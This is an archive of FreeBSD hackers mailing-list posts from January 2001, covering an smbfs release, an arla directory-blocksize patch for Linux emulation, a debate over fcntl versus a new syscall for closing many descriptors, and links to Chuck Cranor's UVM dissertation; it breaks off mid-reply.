From owner-freebsd-hackers Sun Jan 28 0:11:20 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from relay.butya.kz (butya-gw.butya.kz [212.154.129.94]) by hub.freebsd.org (Postfix) with ESMTP id 45D8B37B402; Sun, 28 Jan 2001 00:10:58 -0800 (PST) Received: by relay.butya.kz (Postfix, from userid 1000) id 10E51286FD; Sun, 28 Jan 2001 14:10:42 +0600 (ALMT) Received: from localhost (localhost [127.0.0.1]) by relay.butya.kz (Postfix) with ESMTP id C4A74286FC; Sun, 28 Jan 2001 14:10:42 +0600 (ALMT) Date: Sun, 28 Jan 2001 14:10:41 +0600 (ALMT) From: Boris Popov To: freebsd-fs@freebsd.org Cc: freebsd-hackers@freebsd.org Subject: smbfs-1.3.3 released Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello, Well, next version of smbfs for FreeBSD released today. It includes minor bug fixes and significantly reworked connection engine. In addition, smbfs now can work with NetApp servers (for more details see the HISTORY file). As usually, new version can be grabbed from ftp://ftp.butya.kz/pub/smbfs/smbfs.tar.gz P.S. note to the NetBSD users: I'm completely unaware about which version of smbfs ported to NetBSD and never seen the diffs. So, I can't answer any related questions and support this port. Probably the best way to do the port is to submit patches against latest version of smbfs, so I can take them into account for future releases. -- Boris Popov http://www.butya.kz/~bp/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jan 28 1:10: 8 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from urban.iinet.net.au (urban.iinet.net.au [203.59.24.231]) by hub.freebsd.org (Postfix) with ESMTP id 3493637B6A1 for ; Sun, 28 Jan 2001 01:09:51 -0800 (PST) Received: from elischer.org (reggae-03-162.nv.iinet.net.au [203.59.78.162]) by urban.iinet.net.au (8.8.7/8.8.7) with ESMTP id RAA14465; Sun, 28 Jan 2001 17:09:41 +0800 Message-ID: <3A71C81B.B3624441@elischer.org> Date: Fri, 26 Jan 2001 10:55:23 -0800 From: Julian Elischer X-Mailer: Mozilla 4.7 [en] (X11; U; FreeBSD 5.0-CURRENT i386) X-Accept-Language: en, hu MIME-Version: 1.0 To: Alwyn Goodloe Cc: hackers@FreeBSD.org Subject: Re: Divert Sockets & Fragmentation revisited References: Content-Type: text/plain; charset=iso-8859-15 Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Alwyn Goodloe wrote: > > Guys still having problems with divert sockets and fragmentation. archie@freebsd.org is your man... -- __--_|\ Julian Elischer / \ julian@elischer.org ( OZ ) World tour 2000 ---> X_.---._/ v To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jan 28 10:24:36 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from postfix2-2.free.fr (postfix2-2.free.fr [213.228.0.140]) by hub.freebsd.org (Postfix) with ESMTP id 64EBC37B400 for ; Sun, 28 Jan 2001 10:24:17 -0800 (PST) Received: from dades.chilali.net (paris11-nas7-53-248.dial.proxad.net [212.27.53.248]) by postfix2-2.free.fr (Postfix) with SMTP id 238426B82A; Sun, 28 Jan 2001 19:24:14 +0100 (CET) From: mouss To: Garance A Drosihn , hackers@FreeBSD.ORG Subject: Re: [kernel patch] fcntl(...) to close many descriptors Date: Sun, 28 Jan 2001 20:09:53 +0100 X-Mailer: KMail [version 1.0.28] Content-Type: text/plain Cc: Garrett Wollman References: <4.3.0.20010126193228.06e2a200@bluesun> In-Reply-To: MIME-Version: 1.0 Message-Id: <01012820234100.00214@dades.chilali.net> Content-Transfer-Encoding: 8bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I agree that breaking coherence is bad, though I find fcntl is the kind of functions to use when you don't have a more specific one:) then I'd propose int fdcloseall(int start); (I remember having seen some closeall() function in M$ windows I think there is such function in M$ windows, so while I didn't sell my soul to Bill, I don't see enough reason to choose a new one (that said, I'm not sure of the syntax and use there...). Note that unlike fcntl() change, this requires adding a syscall, and remaking libc. I'm gonna work on this (and put in the optimization idea suggested by Matt). regards, mouss On Sat, 27 Jan 2001, Garance A Drosihn wrote: > > [snip] > void closeallfds(int start); > > While I understand that defining a new routine is more work > than just adding a parameter to an existing routine, I do > think it is more appropriate to have that new routine than > to use fcntl for this. The description for fcntl says the > first parameter is: > a descriptor to be operated on by 'cmd' as > described below. > For the proposed F_CLOSEM command, it does not operate on the > GIVEN fd, it operates on a whole bunch of OTHER fd's. This > means that a program which calls fcntl with a cmd-argument > which is different than the programmer thinks is being passed > could cause some pretty painful-to-debug errors in sections of > the program which have nothing to do with the section that has > the bug. > [snip] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jan 28 10:34: 1 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from postfix1-2.free.fr (postfix1-2.free.fr [213.228.0.130]) by hub.freebsd.org (Postfix) with ESMTP id 4094E37B402 for ; Sun, 28 Jan 2001 10:33:43 -0800 (PST) Received: from dades.chilali.net (paris11-nas7-53-248.dial.proxad.net [212.27.53.248]) by postfix1-2.free.fr (Postfix) with SMTP id A9D3310296C; Sun, 28 Jan 2001 19:33:41 +0100 (CET) From: mouss To: Garance A Drosihn , hackers@FreeBSD.ORG Subject: Re: [kernel patch] fcntl(...) to close many descriptors Date: Sun, 28 Jan 2001 20:30:58 +0100 X-Mailer: KMail [version 1.0.28] Content-Type: text/plain Cc: Garrett Wollman References: <4.3.0.20010126193228.06e2a200@bluesun> In-Reply-To: MIME-Version: 1.0 Message-Id: <01012820330901.00214@dades.chilali.net> Content-Transfer-Encoding: 8bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG There is a closeall() in NetBSD libc (it's a loop on close()). I suggest using the same name, and adding the function for all the *bsd. On Sat, 27 Jan 2001, Garance A Drosihn wrote: > [snip] > On the other hand, I seem to remember this being done (in some > other program, if not in lpr) because closeallfds *is* a system > routine in some place or another. The intent of closeallfds is > the same as what you have implemented, as it is: > void closeallfds(int start); > [snip] cheers, mouss To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jan 28 10:38: 9 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from iguana.aciri.org (iguana.aciri.org [192.150.187.36]) by hub.freebsd.org (Postfix) with ESMTP id 4ADFC37B698 for ; Sun, 28 Jan 2001 10:37:45 -0800 (PST) Received: (from rizzo@localhost) by iguana.aciri.org (8.11.1/8.11.1) id f0SIbGI24332; Sun, 28 Jan 2001 10:37:16 -0800 (PST) (envelope-from rizzo) From: Luigi Rizzo Message-Id: <200101281837.f0SIbGI24332@iguana.aciri.org> Subject: Re: [kernel patch] fcntl(...) to close many descriptors In-Reply-To: <01012820234100.00214@dades.chilali.net> from mouss at "Jan 28, 2001 8: 9:53 pm" To: usebsd@free.fr (mouss) Date: Sun, 28 Jan 2001 10:37:16 -0800 (PST) Cc: drosih@rpi.edu, hackers@FreeBSD.ORG, wollman@khavrinen.lcs.mit.edu X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > I agree that breaking coherence is bad, though I find fcntl is the kind of > functions to use when you don't have a more specific one:) do we have (or could we design) a generic mechanism for machine-specific syscalls which are not available on all OS ? basically i am thinking of something like generic_syscall("fdcloseall", ....); In this way it would be clear what the non-portable pieces of code are, and the mechanism would be extensible with no changes to libraries and syscalls. You could even have dynamically-loaded modules implementing new "syscalls". cheers luigi > then I'd propose > int fdcloseall(int start); > > (I remember having seen some closeall() function in M$ windows > I think there is such function in M$ windows, so while I didn't sell my soul to > Bill, I don't see enough reason to choose a new one (that said, I'm not sure of > the syntax and use there...). > > Note that unlike fcntl() change, this requires adding a syscall, and remaking > libc. > > I'm gonna work on this (and put in the optimization idea suggested by Matt). > > regards, > mouss > > > On Sat, 27 Jan 2001, Garance A Drosihn wrote: > > > > [snip] > > void closeallfds(int start); > > > > While I understand that defining a new routine is more work > > than just adding a parameter to an existing routine, I do > > think it is more appropriate to have that new routine than > > to use fcntl for this. The description for fcntl says the > > first parameter is: > > a descriptor to be operated on by 'cmd' as > > described below. > > For the proposed F_CLOSEM command, it does not operate on the > > GIVEN fd, it operates on a whole bunch of OTHER fd's. This > > means that a program which calls fcntl with a cmd-argument > > which is different than the programmer thinks is being passed > > could cause some pretty painful-to-debug errors in sections of > > the program which have nothing to do with the section that has > > the bug. > > [snip] > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jan 28 12:31:42 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from gw.nectar.com (gw.nectar.com [208.42.49.153]) by hub.freebsd.org (Postfix) with ESMTP id 8EF0037B400 for ; Sun, 28 Jan 2001 12:31:23 -0800 (PST) Received: by gw.nectar.com (Postfix, from userid 1001) id 98630193F0; Sun, 28 Jan 2001 14:31:17 -0600 (CST) Date: Sun, 28 Jan 2001 14:31:17 -0600 From: "Jacques A. Vidrine" To: Luigi Rizzo Cc: mouss , drosih@rpi.edu, hackers@FreeBSD.ORG, wollman@khavrinen.lcs.mit.edu Subject: Re: [kernel patch] fcntl(...) to close many descriptors Message-ID: <20010128143117.A22348@spawn.nectar.com> References: <01012820234100.00214@dades.chilali.net> <200101281837.f0SIbGI24332@iguana.aciri.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200101281837.f0SIbGI24332@iguana.aciri.org>; from rizzo@aciri.org on Sun, Jan 28, 2001 at 10:37:16AM -0800 X-Url: http://www.nectar.com/ Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, Jan 28, 2001 at 10:37:16AM -0800, Luigi Rizzo wrote: > do we have (or could we design) a generic mechanism for machine-specific > syscalls which are not available on all OS ? > > basically i am thinking of something like > > generic_syscall("fdcloseall", ....); Do you mean like syscall(2)? -- Jacques Vidrine / n@nectar.com / jvidrine@verio.net / nectar@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jan 28 12:45:34 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from iguana.aciri.org (iguana.aciri.org [192.150.187.36]) by hub.freebsd.org (Postfix) with ESMTP id 933BF37B400 for ; Sun, 28 Jan 2001 12:45:15 -0800 (PST) Received: (from rizzo@localhost) by iguana.aciri.org (8.11.1/8.11.1) id f0SKjAN25209; Sun, 28 Jan 2001 12:45:10 -0800 (PST) (envelope-from rizzo) From: Luigi Rizzo Message-Id: <200101282045.f0SKjAN25209@iguana.aciri.org> Subject: Re: [kernel patch] fcntl(...) to close many descriptors In-Reply-To: <20010128143117.A22348@spawn.nectar.com> from "Jacques A. Vidrine" at "Jan 28, 2001 2:31:17 pm" To: n@nectar.com (Jacques A. Vidrine) Date: Sun, 28 Jan 2001 12:45:10 -0800 (PST) Cc: rizzo@aciri.org, usebsd@free.fr, drosih@rpi.edu, hackers@FreeBSD.ORG, wollman@khavrinen.lcs.mit.edu X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > On Sun, Jan 28, 2001 at 10:37:16AM -0800, Luigi Rizzo wrote: > > do we have (or could we design) a generic mechanism for machine-specific > > syscalls which are not available on all OS ? > > > > basically i am thinking of something like > > > > generic_syscall("fdcloseall", ....); > > Do you mean like syscall(2)? kind-of, though the function name should be a string and not an integer (easier to extend/allocate), and it should allow return values in user-supplied buffers, same as ioctl/fcntl calls do. cheers luigi ----------------------------------+----------------------------------------- Luigi RIZZO, luigi@iet.unipi.it . ACIRI/ICSI (on leave from Univ. di Pisa) http://www.iet.unipi.it/~luigi/ . 1947 Center St, Berkeley CA 94704 Phone: (510) 666 2927 ----------------------------------+----------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jan 28 15:15:59 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from jamus.xpert.com (jamus.xpert.com [199.203.132.17]) by hub.freebsd.org (Postfix) with ESMTP id D6B8837B400 for ; Sun, 28 Jan 2001 15:15:39 -0800 (PST) Received: from roman (helo=localhost) by jamus.xpert.com with local-esmtp (Exim 3.12 #5) id 14N125-0005Af-00 for freebsd-hackers@freebsd.org; Mon, 29 Jan 2001 01:14:53 +0200 Date: Mon, 29 Jan 2001 01:14:53 +0200 (IST) From: Roman Shterenzon To: Subject: XFS 0.9 for Linux released Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, Just for curiosity sake, the $subj was released: http://oss.sgi.com/projects/xfs/ --Roman Shterenzon, UNIX System Administrator and Consultant [ Xpert UNIX Systems Ltd., Herzlia, Israel. Tel: +972-9-9522361 ] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jan 28 18:20:30 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from elixir.e.kth.se (elixir.e.kth.se [130.237.48.5]) by hub.freebsd.org (Postfix) with ESMTP id 763AC37B400 for ; Sun, 28 Jan 2001 18:20:11 -0800 (PST) Received: from mom.e.kth.se (mom.e.kth.se [130.237.48.249]) by elixir.e.kth.se (8.9.3/8.9.3) with ESMTP id DAA09222; Mon, 29 Jan 2001 03:20:00 +0100 (MET) Received: (from lha@localhost) by mom.e.kth.se (8.9.3/8.9.3) id DAA27732; Mon, 29 Jan 2001 03:20:08 +0100 (MET) X-Authentication-Warning: mom.e.kth.se: lha set sender to lha@stacken.kth.se using -f To: Chris Cc: freebsd-hackers@freebsd.org, arla-drinkers@stacken.kth.se Subject: Re: FreeBSD Linux emulation / arla 0.34.6 References: <3A6F2302.1C35E034@137.org> From: Love Date: 29 Jan 2001 03:20:08 +0100 In-Reply-To: Chris's message of "Wed, 24 Jan 2001 12:46:26 -0600" Message-ID: Lines: 46 User-Agent: Gnus/5.0804 (Gnus v5.8.4) Emacs/20.6 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Chris writes: > I have discovered a rather interesting bug with this combination, > and was wondering if anyone could point me in the right direction > to help me track it down. > > The problem is that linux binaries which call getdirents on an afs > directory do not report the last directory entry: > > /afs/whatever% /bin/ls -f > 1 2 3 4 > /afs/whatever% /compat/linux/bin/ls > 1 2 3 The patch below for arla fixes the problem. > I believe that this might also be what is causing linux-netscape > to wedge the machine (with home directories on afs), although I'm > not positive. > > Any ideas where to start the search for the offending code? The problem is that linux_getdents uses a little too small buffer, arla uses (before the patch) a directory-blocksize of 1024 bytes. This make every entry that have its end past a 512 bytes offset disapper when running under linux-emulation. Love Index: bsd-subr.c =================================================================== RCS file: /afs/stacken.kth.se/src/SourceRepository/arla/arlad/bsd-subr.c,v retrieving revision 1.55 retrieving revision 1.55.2.1 diff -u -w -u -w -r1.55 -r1.55.2.1 --- arlad/bsd-subr.c 2000/10/14 19:58:04 1.55 +++ arlad/bsd-subr.c 2001/01/29 02:02:17 1.55.2.1 @@ -44,7 +44,7 @@ #ifdef __linux__ #include #else -#define XFS_DIRENT_BLOCKSIZE 1024 +#define XFS_DIRENT_BLOCKSIZE 512 #define xfs_dirent dirent #endif To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jan 28 18:31:44 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from isua4.iastate.edu (isua4.iastate.edu [129.186.1.204]) by hub.freebsd.org (Postfix) with ESMTP id 0176F37B404 for ; Sun, 28 Jan 2001 18:31:27 -0800 (PST) Received: from localhost (ccsanady@localhost) by isua4.iastate.edu (8.8.8/8.8.5) with SMTP id UAA12839; Sun, 28 Jan 2001 20:31:23 -0600 (CST) Message-Id: <200101290231.UAA12839@isua4.iastate.edu> To: Love Cc: freebsd-hackers@freebsd.org, arla-drinkers@stacken.kth.se Subject: Re: FreeBSD Linux emulation / arla 0.34.6 In-reply-to: Your message of 29 Jan 2001 03:20:08 +0100. Date: Sun, 28 Jan 2001 20:31:23 CST From: Chris Csanady Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >The problem is that linux_getdents uses a little too small buffer, arla >uses (before the patch) a directory-blocksize of 1024 bytes. This make >every entry that have its end past a 512 bytes offset disapper when running >under linux-emulation. > >Love That was quick. Really, I can't thank you enough for this.. This makes my life considerably easier. :) It seems kind of dangerous having these things hard coded--should the linux compatibility code be fixed? I notice that there is a #define DIRBLKSIZ 512 /* XXX we used to use ufs's DIRBLKSIZ */ at sys/compat/linux/linux_file.c:425. It is not clear to me what this should be though. Anyways, thanks again, Chris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jan 28 19: 5:24 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from earth.backplane.com (earth-nat-cw.backplane.com [208.161.114.67]) by hub.freebsd.org (Postfix) with ESMTP id 9B5CE37B404 for ; Sun, 28 Jan 2001 19:05:06 -0800 (PST) Received: (from dillon@localhost) by earth.backplane.com (8.11.1/8.9.3) id f0T33qg60603; Sun, 28 Jan 2001 19:03:52 -0800 (PST) (envelope-from dillon) Date: Sun, 28 Jan 2001 19:03:52 -0800 (PST) From: Matt Dillon Message-Id: <200101290303.f0T33qg60603@earth.backplane.com> To: Luigi Rizzo Cc: usebsd@free.fr (mouss), drosih@rpi.edu, hackers@FreeBSD.ORG, wollman@khavrinen.lcs.mit.edu Subject: Re: [kernel patch] fcntl(...) to close many descriptors References: <200101281837.f0SIbGI24332@iguana.aciri.org> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG : :> I agree that breaking coherence is bad, though I find fcntl is the kind of :> functions to use when you don't have a more specific one:) : :do we have (or could we design) a generic mechanism for machine-specific :syscalls which are not available on all OS ? : :basically i am thinking of something like : : generic_syscall("fdcloseall", ....); : :In this way it would be clear what the non-portable pieces of code :are, and the mechanism would be extensible with no changes to :libraries and syscalls. You could even have dynamically-loaded :modules implementing new "syscalls". : : cheers : luigi : :> then I'd propose :> int fdcloseall(int start); There is work going on for the AIX equivalent using fcntl(). We should not create a syscall (it's unnecessary)... if you want a fdcloseall() function call, it should be in libc and use the fcntl. I would support one or the other, but not both. I'd recommend the AIX fcntl API, since it's been around a whole lot longer. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jan 28 19:14:17 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from imo-d07.mx.aol.com (imo-d07.mx.aol.com [205.188.157.39]) by hub.freebsd.org (Postfix) with ESMTP id C1E9A37B402 for ; Sun, 28 Jan 2001 19:13:58 -0800 (PST) Received: from GLOBALLINK2001@aol.com by imo-d07.mx.aol.com (mail_out_v29.5.) id n.10.80a45ed (4592) for ; Sun, 28 Jan 2001 22:13:47 -0500 (EST) From: GLOBALLINK2001@aol.com Message-ID: <10.80a45ed.27a639eb@aol.com> Date: Sun, 28 Jan 2001 22:13:47 EST Subject: great work! To: freebsd-hackers@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: AOL 5.0 for Windows sub 59 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG hey i just want to say that everyone who is contributing to freebsd should take a look at this: http://uptime.netcraft.com/up/today/top.avg.html and give yourself a pat on the back :-) i can not wait until i improve my FreeBSD internels knowledge and ASM and C skills to the point where i can start helping too -Arthur To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jan 28 20:10:54 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from acl.lanl.gov (acl.lanl.gov [128.165.147.1]) by hub.freebsd.org (Postfix) with ESMTP id 7BB4337B400 for ; Sun, 28 Jan 2001 20:10:35 -0800 (PST) Received: from mini.acl.lanl.gov (root@mini.acl.lanl.gov [128.165.147.34]) by acl.lanl.gov (8.8.8/8.8.5) with ESMTP id VAA7578453; Sun, 28 Jan 2001 21:10:34 -0700 (MST) Received: from localhost (rminnich@localhost) by mini.acl.lanl.gov (8.9.3/8.8.8) with ESMTP id VAA15024; Sun, 28 Jan 2001 21:10:34 -0700 X-Authentication-Warning: mini.acl.lanl.gov: rminnich owned process doing -bs Date: Sun, 28 Jan 2001 21:10:34 -0700 (MST) From: Ronald G Minnich X-Sender: To: Alfred Perlstein Cc: Subject: Chuck Cranor's PhD thesis on VM In-Reply-To: <20010127180935.O26076@fw.wintelcom.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I am sorry I brought this up without a URL :-( I'm working on it. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jan 28 20:15:24 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from wantadilla.lemis.com (wantadilla.lemis.com [192.109.197.80]) by hub.freebsd.org (Postfix) with ESMTP id B8C2637B400 for ; Sun, 28 Jan 2001 20:15:05 -0800 (PST) Received: by wantadilla.lemis.com (Postfix, from userid 1004) id D11F26AC95; Mon, 29 Jan 2001 14:45:03 +1030 (CST) Date: Mon, 29 Jan 2001 14:45:03 +1030 From: Greg Lehey To: Ronald G Minnich Cc: Alfred Perlstein , freebsd-hackers@FreeBSD.ORG Subject: Re: Chuck Cranor's PhD thesis on VM Message-ID: <20010129144503.I42083@wantadilla.lemis.com> References: <20010127180935.O26076@fw.wintelcom.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from rminnich@lanl.gov on Sun, Jan 28, 2001 at 09:10:34PM -0700 Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sunday, 28 January 2001 at 21:10:34 -0700, Ronald G Minnich wrote: > I am sorry I brought this up without a URL :-( > > I'm working on it. Garrett Rooney already posted it: http://www.ccrc.wustl.edu/pub/chuck Greg -- Finger grog@lemis.com for PGP public key See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jan 28 20:16:49 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from silby.com (cb34181-c.mdsn1.wi.home.com [24.183.3.139]) by hub.freebsd.org (Postfix) with ESMTP id 9026A37B404 for ; Sun, 28 Jan 2001 20:16:30 -0800 (PST) Received: (qmail 41760 invoked by uid 1000); 29 Jan 2001 04:16:21 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 29 Jan 2001 04:16:21 -0000 Date: Sun, 28 Jan 2001 22:16:21 -0600 (CST) From: Mike Silbersack To: Ronald G Minnich Cc: Alfred Perlstein , Subject: Re: Chuck Cranor's PhD thesis on VM In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 28 Jan 2001, Ronald G Minnich wrote: > I am sorry I brought this up without a URL :-( > > I'm working on it. http://www.usenix.org/events/usenix99/full_papers/cranor/cranor_html/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jan 28 20:20:58 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from acl.lanl.gov (acl.lanl.gov [128.165.147.1]) by hub.freebsd.org (Postfix) with ESMTP id 8EBC337B400 for ; Sun, 28 Jan 2001 20:20:39 -0800 (PST) Received: from mini.acl.lanl.gov (root@mini.acl.lanl.gov [128.165.147.34]) by acl.lanl.gov (8.8.8/8.8.5) with ESMTP id VAA7577401 for ; Sun, 28 Jan 2001 21:20:38 -0700 (MST) Received: from localhost (rminnich@localhost) by mini.acl.lanl.gov (8.9.3/8.8.8) with ESMTP id VAA15064 for ; Sun, 28 Jan 2001 21:20:38 -0700 X-Authentication-Warning: mini.acl.lanl.gov: rminnich owned process doing -bs Date: Sun, 28 Jan 2001 21:20:38 -0700 (MST) From: Ronald G Minnich X-Sender: To: Subject: cranor URL Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG A more complete one than the earlier one (though the earlier one is fine too). ron ---------- Forwarded message ---------- Date: Sun, 28 Jan 2001 19:10:05 -0500 From: Chuck Cranor To: Ronald G Minnich Subject: Re: Kernel Hacking (i tried not to make it lame) (fwd) On Sat, Jan 27, 2001 at 06:50:27PM -0700, Ronald G Minnich wrote: > I mentioned your work, now I get this question over and over ... cool. the dissertation is at: http://www.ccrc.wustl.edu/pub/chuck/psgz/diss.ps.gz To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jan 28 20:21: 9 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from gw.gbch.net (gw.gbch.net [203.24.22.66]) by hub.freebsd.org (Postfix) with SMTP id B814F37B402 for ; Sun, 28 Jan 2001 20:20:49 -0800 (PST) Received: (qmail 34702 invoked by uid 1001); 29 Jan 2001 14:20:41 +1000 X-Posted-By: GJB-Post 2.11 18-Jan-2001 X-Operating-System: FreeBSD 4.1-RELEASE i386 X-URL: http://www.gbch.net/gjb/ X-Image-URL: http://www.gbch.net/gjb/img/gjb-auug048.gif X-PGP-Fingerprint: 5A91 6942 8CEA 9DAB B95B C249 1CE1 493B 2B5A CE30 X-PGP-Public-Key: http://www.gbch.net/gjb/gjb-pgpkey.asc Message-Id: Date: Mon, 29 Jan 2001 14:20:41 +1000 From: Greg Black To: Ronald G Minnich Cc: Alfred Perlstein , freebsd-hackers@FreeBSD.ORG Subject: Re: Chuck Cranor's PhD thesis on VM References: In-reply-to: of Sun, 28 Jan 2001 21:10:34 MST Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Ronald G Minnich wrote: > I am sorry I brought this up without a URL :-( > > I'm working on it. Chuck Cranor's home page: http://www.ccrc.wustl.edu/pub/chuck/ His dissertation (for his D.Sc., not Ph.D.), "The Design and Implementation of the UVM Virtual Memory System", is a large (270 page) PostScript file: http://www.ccrc.wustl.edu/pub/chuck/psgz/diss.ps.gz Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jan 28 23: 1:36 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.rpi.edu (mail.rpi.edu [128.113.100.7]) by hub.freebsd.org (Postfix) with ESMTP id B9FD437B402 for ; Sun, 28 Jan 2001 23:01:15 -0800 (PST) Received: from [128.113.24.47] (gilead.acs.rpi.edu [128.113.24.47]) by mail.rpi.edu (8.9.3/8.9.3) with ESMTP id CAA74768; Mon, 29 Jan 2001 02:01:05 -0500 Mime-Version: 1.0 X-Sender: drosih@mail.rpi.edu Message-Id: In-Reply-To: <200101290303.f0T33qg60603@earth.backplane.com> References: <200101281837.f0SIbGI24332@iguana.aciri.org> <200101290303.f0T33qg60603@earth.backplane.com> Date: Mon, 29 Jan 2001 02:01:04 -0500 To: Matt Dillon , Luigi Rizzo From: Garance A Drosihn Subject: Re: [kernel patch] fcntl(...) to close many descriptors Cc: usebsd@free.fr (mouss), hackers@FreeBSD.ORG, wollman@khavrinen.lcs.mit.edu Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 7:03 PM -0800 1/28/01, Matt Dillon wrote: >Luigo wrote: >: do we have (or could we design) a generic mechanism for >: machine-specific syscalls which are not available on all OS ? >: >: basically i am thinking of something like >: >: generic_syscall("fdcloseall", ....); >: >: In this way it would be clear what the non-portable pieces of code >: are, and the mechanism would be extensible with no changes to >: libraries and syscalls. You could even have dynamically-loaded >: modules implementing new "syscalls". >: >: cheers >: luigi > > There is work going on for the 